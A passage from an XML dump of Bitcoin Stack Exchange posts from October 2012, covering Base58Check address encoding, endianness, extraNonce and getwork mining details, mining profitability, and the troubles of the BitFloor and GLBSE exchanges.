&lt;p&gt;00010966776006953D5567439E5E39F86A0D273BEED61967F6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;9 - Convert the result from a byte string into a base58 string using&#xA;  Base58Check encoding. This is the most commonly used Bitcoin Address&#xA;  format&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can check your calculations against &lt;a href=&quot;http://gobittest.appspot.com&quot; rel=&quot;noreferrer&quot;&gt;my testing suite&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-10-11T07:17:28.363" LastActivityDate="2012-10-11T07:17:28.363" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5023" PostTypeId="2" ParentId="5019" CreationDate="2012-10-09T18:46:42.353" Score="5" Body="&lt;p&gt;I am still unable to withdraw my bitcoins that were deposited before their &lt;a href=&quot;http://bitcointalk.org/index.php?topic=105818.0&quot; rel=&quot;nofollow&quot;&gt;September 2012 security breach&lt;/a&gt;.  Therefore BitFloor is technically insolvent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are registered with FinCEN as a money-service business in the U.S.  Thus I assume they are not immune to U.S. courts and U.S. bankruptcy laws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are one judgement away from having their bank funds frozen by a creditor, likely forcing BitFloor to declare bankruptcy.  If that happens, your funds might be used for paying out to legal costs, paying for the receiver, and then whatever is left for payment to all remaining unsecured creditors such as yourself, proportionate to the amount owed (i.e., &quot;pennies on the dollar&quot;).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=112069.msg1218947#msg1218947&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=112069.msg1218947#msg1218947&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I like BitFloor and I'ld like to see them succeed, but continuing to operate an exchange while insolvent is a move that is irresponsible and shows disrespect to its customers, current and prior.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-10T19:29:27.470" LastActivityDate="2012-10-10T19:29:27.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5024" PostTypeId="1" AcceptedAnswerId="5025" CreationDate="2012-10-09T21:19:40.640" Score="4" ViewCount="1306" Body="&lt;p&gt;This answer seems simple, but I'm finding mixed answers. &lt;a href=&quot;https://stackoverflow.com/questions/9245235/golang-midstate-sha-256-hash/9322486#9322486&quot;&gt;This question&lt;/a&gt; describes the conversion from little-endian to big-endian hex strings (or vice-versa) as switching the order of bytes in every slice of four bytes, where &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2925/pool-getwork-target&quot;&gt;here&lt;/a&gt; it's described as just a string reversal. Both seem correct in their contexts, so what's really going on?&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2012-10-10T00:33:20.583" Title="How is the endian conversion done?" Tags="|endianness|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5025" PostTypeId="2" ParentId="5024" CreationDate="2012-10-09T21:33:02.447" Score="3" Body="&lt;p&gt;In general, converting between big and little endian values depends on exactly how you're storing those values, so both of your examples could be correct in different implementations. To this end, techniques are likely to vary even within the same application since it's more dependent on how your input data is formatted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also dependent on how your particular use case defines endianness - there's no one-size-fits-all definition - endianness can refer to the order of 8-bit bytes within a 16, 32 or 64 bit word or it could refer to the order of individual bits or even the order of entire words within a larger context. If you're encoding the 16-bit word &quot;07F3&quot; for example and your definition of endian refers to bytes within a word then big-endian would be &quot;07F3&quot; and little-endian would be &quot;F307&quot; - working with a 4-bit byte you would end up with &quot;07F3&quot; and &quot;3F70&quot; and working with individual bits big-endian would be &quot;0111 1111 0011&quot; (07F3) and little-endian would be &quot;1100 1111 1110&quot; (0CFE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One excellent example, however, is the EncodeBase58() function in Bitcoin's &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/base58.h&quot; rel=&quot;nofollow&quot;&gt;base58.h&lt;/a&gt; which uses a char vector and C++'s built-in reverse_copy function to reverse the elements' order in the vector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Convert big endian data to little endian&#xA;// Extra zero at the end make sure bignum will interpret as a positive number&#xA;std::vector&amp;lt;unsigned char&amp;gt; vchTmp(pend-pbegin+1, 0);&#xA;reverse_copy(pbegin, pend, vchTmp.begin());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'm not 100% sure but I believe that what's being passed in to the encode functions is a UTF-8 encoded string representation of the value, so in your own words it would seem that Bitcoin's endianness conversion - at least where Base58 conversion is concerned - is a simple string reversal as long as the input is UTF-8 encoded.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-10-10T00:33:20.583" LastActivityDate="2012-10-10T00:33:20.583" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5027" PostTypeId="1" AcceptedAnswerId="5028" CreationDate="2012-10-10T01:19:06.237" Score="2" ViewCount="2150" Body="&lt;p&gt;I've heard that what prevents the fastest computers from almost always dominating pools is that each miner is hashing different data because of the generation transaction. However, if I solo mine with many of my own computers running miners connecting to a bitcoind I'm running, it seems like I'm going to redo the same work across all miners because the generation transaction address would be the same. Or should each miner have its own address? Or should bitcoind generate a new address for each getwork request?&lt;/p&gt;&#xA;" OwnerUserId="2029" LastActivityDate="2012-10-15T02:18:47.930" Title="Does solo mining with multiple computers require different generation transaction addresses?" Tags="|mining-pools|solo-mining|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5028" PostTypeId="2" ParentId="5027" CreationDate="2012-10-10T05:46:10.333" Score="3" Body="&lt;p&gt;Bitcoind will of course give different data to each of the miners connecting to it. Otherwise using multiple miners would be pointless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needn't necessarily give a different &lt;em&gt;address&lt;/em&gt; (though normally it does) - it's enough to change the extraNonce field.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-10-10T05:46:10.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5029" PostTypeId="2" ParentId="5027" CreationDate="2012-10-10T06:55:43.183" Score="0" Body="&lt;p&gt;It really does not matter. The nature of mining is random. Whether you will use different addresses or the same one, your hashing will be different from the other people's hashing. As long as an identical work is not assigned to two people (both in term of nonces and merkle root), the results will be the same.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-10-15T02:18:47.930" LastActivityDate="2012-10-15T02:18:47.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5030" PostTypeId="2" ParentId="4983" CreationDate="2012-10-10T13:29:31.787" Score="1" Body="&lt;p&gt;Nefario's official reason for closing GLBSE was 1) AML  2) Tax 3) Regulation and he made it clear other shareholder's had no say in the site closing down. &lt;/p&gt;&#xA;" OwnerUserId="2033" LastActivityDate="2012-10-10T13:29:31.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5031" PostTypeId="2" ParentId="5021" CreationDate="2012-10-10T14:08:48.850" Score="2" Body="&lt;p&gt;This &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Creating_a_Base58Check_string&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt; is probably more helpful.  It describes how the bitcoin address is created from the 160 bit hash.  You need to run those steps backwards to get back to the 160 bit hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your address is 1HgiEYL6fsKrfh8wuMhAGfvSc6PY5ZXJdv, you first count and remove the 1's from the start.  There's only one '1' in most addresses.  Remember this for later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the rest of the address, use &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Base58_symbol_chart&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; to convert each character into its base58 value:  'H' -&gt; 16, 'g' -&gt; 39, 'i' -&gt; 41, ..., 'v' -&gt; 53 etc.  So you have a list of values: [16, 39, 41, ..., 53].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then combine all these values into a single large number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(([...](((16) * 58 + 39) * 58 + 41) ...) * 58 + 53) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Convert the single large number into a sequence of bytes, prepend the same number of 00 bytes as the number of '1's you initially removed from the address, remove the last 4 bytes (that's the checksum), remove the first zero byte (that's the version byte), and there's your 160 bit hash.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-10-10T14:08:48.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5032" PostTypeId="1" AcceptedAnswerId="5033" CreationDate="2012-10-10T14:17:28.030" Score="4" ViewCount="97" Body="&lt;p&gt;I would like to get the following data for every issue ever listed on GLBSE:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Time series of closing prices since IPO to de-listing (or closing of GLBSE),&lt;/li&gt;&#xA;&lt;li&gt;Date and quantity of initial and secondary offerings, and&lt;/li&gt;&#xA;&lt;li&gt;Dividend history.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The motivation behind this is constructing a total return index for the GLBSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get these data?&lt;/p&gt;&#xA;" OwnerUserId="2032" LastEditorUserId="516" LastEditDate="2012-10-17T18:51:14.997" LastActivityDate="2012-10-17T18:51:14.997" Title="Time series data for issues listed on the (now defunct) GLBSE" Tags="|exchanges|raw-data|glbse|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5033" PostTypeId="2" ParentId="5032" CreationDate="2012-10-10T15:57:53.737" Score="3" Body="&lt;p&gt;A forum user captured the transaction and dividend history from the @GLBSE Twitter feed which can be used to determine daily pricing and dividends.  This is from v2 (April, 2012).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=117491.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=117491.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-10T15:57:53.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5034" PostTypeId="1" AcceptedAnswerId="5038" CreationDate="2012-10-10T19:56:05.157" Score="4" ViewCount="1752" Body="&lt;p&gt;The first answer &lt;a href=&quot;https://crypto.stackexchange.com/questions/1862/sha-256-midstate&quot;&gt;here&lt;/a&gt; does a good job explaining how the SHA-256 function requires more than one input (an initial one is specified by to the SHA-256 specs). As far as I understand it, the &quot;midstate&quot; value is the initial hash of the first half of the data, used to later serve as an input into the double-hash of the second half of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2906/in-getwork-how-does-one-calculate-the-value-of-hash1&quot;&gt;here&lt;/a&gt; is an explanation of what the &quot;hash1&quot; value actually is and means, but what is it used for?&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2016-03-31T10:17:05.740" Title="What are midstate and hash1 used for in mining?" Tags="|api|mining-technical-details|getwork|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5035" PostTypeId="1" CreationDate="2012-10-11T02:52:07.423" Score="-1" ViewCount="12750" Body="&lt;p&gt;I didn't create a private key for my bitcoin address and am unable to do anything with these coins.  How do I resolve this issue?&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorDisplayName="user5954" LastEditDate="2013-07-20T15:46:06.757" LastActivityDate="2020-09-13T01:25:19.940" Title="I cannot send bitcoins from my block chain wallet because I don't have the private key. Where is it located?" Tags="|blockchain|wallet|private-key|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5036" PostTypeId="2" ParentId="2844" CreationDate="2012-10-11T06:45:45.457" Score="5" Body="&lt;p&gt;Bitcoin doesn't need a bank account - your bitcoin wallet is your bank account, and you don't need any permission or paperwork to start using bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;noreferrer&quot;&gt;localbitcoins.com&lt;/a&gt; to change cash to bitcoins and vice versa, you don't need any kind of bank account at all.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2012-10-11T06:45:45.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5037" PostTypeId="2" ParentId="5035" CreationDate="2012-10-11T07:00:42.393" Score="1" Body="&lt;p&gt;In order to properly create a Bitcoin address, you &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;need to create it from a private key&lt;/a&gt;. If you just start from the middle of address generation - say a public key or a result of a hash, you are not guaranteed to have a private key that can be associated with that address. In order to recover a private key that was never used to create an address would require you to brute force all the private keys, which at the moment is computationally impossible (might be more possible in 50+ years). This is in place to ensure that nobody can steal your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Bitcoin honestly, however, you should find your private keys stored it wallet.dat in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;Bitcoin data directory&lt;/a&gt;, or in case of using eWallets - online.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-11T07:00:42.393" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5038" PostTypeId="2" ParentId="5034" CreationDate="2012-10-11T07:04:57.350" Score="2" Body="&lt;p&gt;1) Yes, it is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It is deprecated. Generally, it is used to write the result of the mining over to be sent to the pool. This is to ensure the result is of correct length and adheres to some rules. In practice, it is always the same trailing string of numbers.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-11T07:04:57.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5042" PostTypeId="2" ParentId="5035" CreationDate="2012-10-11T17:41:07.567" Score="0" Body="&lt;p&gt;You haven't stated from where you obtained the Bitcoin address in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It didn't come from the same wallet in Blockchain.info/wallet because Blockchain.info/wallet won't let you watch one of your own addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is from your Bitcoin.org client (i.e., Bitcoin-Qt), then you simply spend from the Bitcoin.org client and not from Blockchain.info/wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is from another EWallet on Blockchain.info, simply log into the correct wallet and spend from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is from an EWallet on some other service, e.g., on Mt. Gox, then you will need to go there to withdraw any funds that you've received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully you can remember from which wallet or EWallet service you obtained the Bitcoin address from originally.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-11T17:48:47.963" LastActivityDate="2012-10-11T17:48:47.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5043" PostTypeId="2" ParentId="5021" CreationDate="2012-10-11T21:28:06.070" Score="1" Body="&lt;p&gt;For regular addresses you can use the &lt;a href=&quot;https://blockexplorer.com/q/addresstohash&quot; rel=&quot;nofollow&quot;&gt;addresstohash&lt;/a&gt; &lt;a href=&quot;https://blockexplorer.com/q&quot; rel=&quot;nofollow&quot;&gt;tool&lt;/a&gt; in blockexplorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testnet addresses you can open &lt;code&gt;https://blockexplorer.com/testnet/address/the address you want&lt;/code&gt; and read the Hash160 field. This works for addresses which aren't in the block chain too.&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2012-10-11T21:28:06.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5044" PostTypeId="2" ParentId="3446" CreationDate="2012-10-11T21:55:22.997" Score="3" Body="&lt;p&gt;This is the one I'm using: &lt;a href=&quot;http://www.domchi.cc/mybitcoins/&quot; rel=&quot;nofollow&quot;&gt;http://www.domchi.cc/mybitcoins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1605" LastActivityDate="2012-10-11T21:55:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5045" PostTypeId="1" CreationDate="2012-10-12T08:40:44.350" Score="18" ViewCount="43378" Body="&lt;p&gt;Can casual people still mine for bitcoins? As of October 2012, the difficulty seems very high, being over 3,000,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a ad for bitcoins, and watched the video. It said I could mine for them with my computer, so can I?&lt;/p&gt;&#xA;" OwnerUserId="2047" LastEditorUserId="5406" LastEditDate="2016-01-20T20:58:38.493" LastActivityDate="2021-11-22T20:47:46.660" Title="Can casual people still mine for bitcoins, now that the difficulty is much higher than it was?" Tags="|difficulty|mining-profitability|cpu-mining|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5046" PostTypeId="2" ParentId="5045" CreationDate="2012-10-12T09:11:45.757" Score="4" Body="&lt;p&gt;Normal people can mine but normal computers can't mine profitably.  At least not any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, in mid-October 2012, some people are doing OK mining on GPUs, particularly those who don't pay directly for electricity.  However, roughly sometime around the end of November the mining proceeds get cut by half instantly -- something that happens every four years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that point, there will not be many GPU miners who can continue to mine -- unless, again, they aren't paying for electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others have bought specialized hardware known as FPGAs (a BFL single is an FPGA).  Those use less electricity than GPUs so they will still mine at a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a gamechanger is likely coming from &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#ASICs&quot; rel=&quot;nofollow&quot;&gt;ASIC manufacturers&lt;/a&gt;. Several are accepting pre-payment on orders now, though not a single ASIC design has shipped yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no harm that occurs from using your computer (with GPU) to try to learn mining -- if you are looking for a hobby.  But to mine for profit will generally only make sense from the purchase of mining hardware.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-14T23:08:23.827" LastActivityDate="2012-10-14T23:08:23.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5047" PostTypeId="2" ParentId="5045" CreationDate="2012-10-12T09:37:36.910" Score="9" Body="&lt;p&gt;Well, you can TRY mining. To see how much coins you can expect, check your computer's GPU on &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;the Wiki page&lt;/a&gt;, get its hash rate, and plug that into a profitability calculator, &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot;&gt;such as mine&lt;/a&gt;. This can give you an idea of how many coins can you expect to mine and whether you would get any profit from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, most likely you won't be able to mine at a profit using a PC. Bitcoin's difficulty is quite high, the reward will be dropping by half soon, and with the introduction of ASIC miners, GPU mining will be outclassed. However, if you are willing to invest &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#ASICs&quot;&gt;some money into custom hardware&lt;/a&gt;, you can still start your career as a full-time Bitcoin miner. But again, you ought to &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot;&gt;check if it calculates for you&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to try your luck at a newly emerging trend of using your GPUs to &quot;mine&quot; for split-key vanity addresses, you can check out &lt;a href=&quot;https://vanitypool.appspot.com/&quot;&gt;my Vanity Pool&lt;/a&gt;, or &lt;a href=&quot;https://bitcointalk.org/index.php?topic=84569.0&quot;&gt;its topic on BitcoinTalk&lt;/a&gt;. The process is quite similar, but the profit margin can be better.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-12T09:37:36.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5048" PostTypeId="1" AcceptedAnswerId="5049" CreationDate="2012-10-13T01:28:36.410" Score="23" ViewCount="27541" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2571/json-rpc-getwork-data-field&quot;&gt;This question&lt;/a&gt; helps identify the various components of the getwork &quot;data&quot; field, but I'm curious where the extraNonce comes from. My hunch is it's the first four bytes of the second half of the data, because I believe this is still part of the Merkle root (and yet, being in the second half of the data, it won't be part of the midstate). Is this correct? And if so, how does one increment the extraNonce, and what does it mean to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example getwork data:&#xA;&lt;code&gt;00000001a10bacc7e639d1c69a01014bc5db6f2604b3477a3f273a4e019a232700000000a5942372cc60477c8a276e59c8f1a3f58654ea2f6c4402bf1b18e48455b5b8f64f10868b1c07475200000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the extraNonce (in little-endian, I know), &lt;code&gt;55b5b8f6&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2023-07-18T20:25:45.433" Title="What is the extraNonce?" Tags="|getwork|nonce|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5049" PostTypeId="2" ParentId="5048" CreationDate="2012-10-13T01:50:17.443" Score="13" Body="&lt;p&gt;extraNonce gets put into the input of the generation transaction. getwork clients can't see transactions, so they can't update extraNonce. Some miners instead modify nTime slightly to give them more nonce space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extraNonce is used by bitcoind, but it's not part of the protocol. There is no extraNonce field in blocks or transactions.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-10-13T01:50:17.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5050" PostTypeId="2" ParentId="2039" CreationDate="2012-10-13T02:43:37.660" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://cassandra.apache.org/&quot; rel=&quot;nofollow&quot;&gt;http://cassandra.apache.org/&lt;/a&gt; this seems very well suited for a distributed p2p stock exchange.&lt;/p&gt;&#xA;" OwnerUserId="2052" LastActivityDate="2012-10-13T02:43:37.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5051" PostTypeId="1" AcceptedAnswerId="5107" CreationDate="2012-10-13T15:51:39.690" Score="3" ViewCount="2474" Body="&lt;p&gt;I am building a little online app to accept bitcoin payments in my website. I have a blockchain.info wallet and I am following their Receive Payments Api, which can be visited here: &lt;a href=&quot;http://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The monetary part works great, but the HTTP Callback Notification does not take place and my online store is not notified of the payment. However, the TEST callback does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is a problem on his application.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Has anyone implemented the &quot;Receive Money API&quot; successfully? &lt;/li&gt;&#xA;&lt;li&gt;Is there any other alternative for received instant payment notifications?&#xA;(To several different addresses)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A friend of mine reports the same issue. We need a little help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="105" LastEditDate="2012-10-29T19:06:48.337" LastActivityDate="2012-11-01T20:28:37.943" Title="Blockchain.info Receive Payments API problem" Tags="|transactions|payment|api|blockchain.info|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5052" PostTypeId="1" AcceptedAnswerId="5096" CreationDate="2012-10-14T18:18:38.063" Score="2" ViewCount="3331" Body="&lt;p&gt;Some mining pools pay for stale shares / proofs of work, and others don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a pool pays for stale shares, how does it affect individual miners? What about the pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1416/what-are-stale-shares-and-what-can-i-do-to-avoid-them&quot;&gt;What are stale shares and what can I do to avoid them?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-04-25T16:24:54.467" Title="Effects of mining pools paying for stale shares/work" Tags="|mining-pools|mining-pool-shares|pool-payout-methods|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5054" PostTypeId="1" CreationDate="2012-10-14T20:44:04.303" Score="4" ViewCount="118" Body="&lt;p&gt;I wonder: is the built-in accounts facility scalable enough that you can assign each newly minted address to a different account?  Or am I going to run into hard limits, or a database that becomes too sluggish because accounts were meant to be few in number?&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2013-03-07T12:58:29.500" Title="Limits to the number of accounts?" Tags="|bitcoin-core-accounts|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5055" PostTypeId="2" ParentId="5052" CreationDate="2012-10-14T20:50:29.427" Score="0" Body="&lt;p&gt;Pools earn BTC through (1) block reward which is currently 50BTC/block and (2) transaction fees (currently ca. .5 BTC / block). Usually about 0.5% of submitted shares are stale. These don't have a probability of solving/mining a new block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your questions directly, by paying for stale shares, the pool offers a ~0.5% bonus (or whatever your stale rate is). This amount is generally less than the fees they charge. So the effective pool fee rate becomes (fee rate) - (stale rate). So a pool will say &quot;I'll charge you 3% and then give you 0.5% back for your stales;&quot; in the end, it's doesn't really matter if a pool pays for stales or not.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-10-14T20:50:29.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5056" PostTypeId="2" ParentId="5045" CreationDate="2012-10-14T20:52:24.183" Score="0" Body="&lt;p&gt;If you mean getting actual profit without cheap/stolen electricity you should at the minimum have a high-end AMD GPU. &lt;/p&gt;&#xA;" OwnerUserId="2059" LastActivityDate="2012-10-14T20:52:24.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5057" PostTypeId="1" CreationDate="2012-10-14T21:10:18.157" Score="5" ViewCount="379" Body="&lt;p&gt;On Apple Mac, bitcoin-qt is 14 days behind. Never approaches current time. Have downloaded current blockchain from trusted source. Where to install? What procedure? &lt;/p&gt;&#xA;" OwnerUserId="2060" LastActivityDate="2014-06-21T10:09:04.797" Title="Bitcoin-qt falls behind on blockchain, how to replace?" Tags="|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5058" PostTypeId="2" ParentId="3612" CreationDate="2012-10-14T21:24:48.247" Score="0" Body="&lt;p&gt;Another option is Xero accounting: &lt;a href=&quot;http://www.xero.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.xero.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free(gratis) with an extensive API so you could add BTC transactions if you're programmatically-inclined and supports multiple currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Maybe it's not so free&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-10-14T21:24:48.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5059" PostTypeId="1" CreationDate="2012-10-15T01:31:48.480" Score="5" ViewCount="482" Body="&lt;p&gt;If every single Bitcoin miner were to stop mining altogether, how would this effect the Bitcoin network? &lt;/p&gt;&#xA;" OwnerUserId="2061" LastEditorUserId="5406" LastEditDate="2016-04-17T18:52:45.917" LastActivityDate="2016-04-17T18:52:45.917" Title="What would happen to the Bitcoin network if all miners simultaneously stopped their mining efforts?" Tags="|network|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5060" PostTypeId="2" ParentId="5059" CreationDate="2012-10-15T01:59:09.450" Score="5" Body="&lt;p&gt;Transactions would never acquire any confirmations and the network would be essentially useless. In principle, people could still accept transactions if there were no conflicting transactions, but anyone could perform a transaction and then undo it if they wished to do so.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-10-15T01:59:09.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
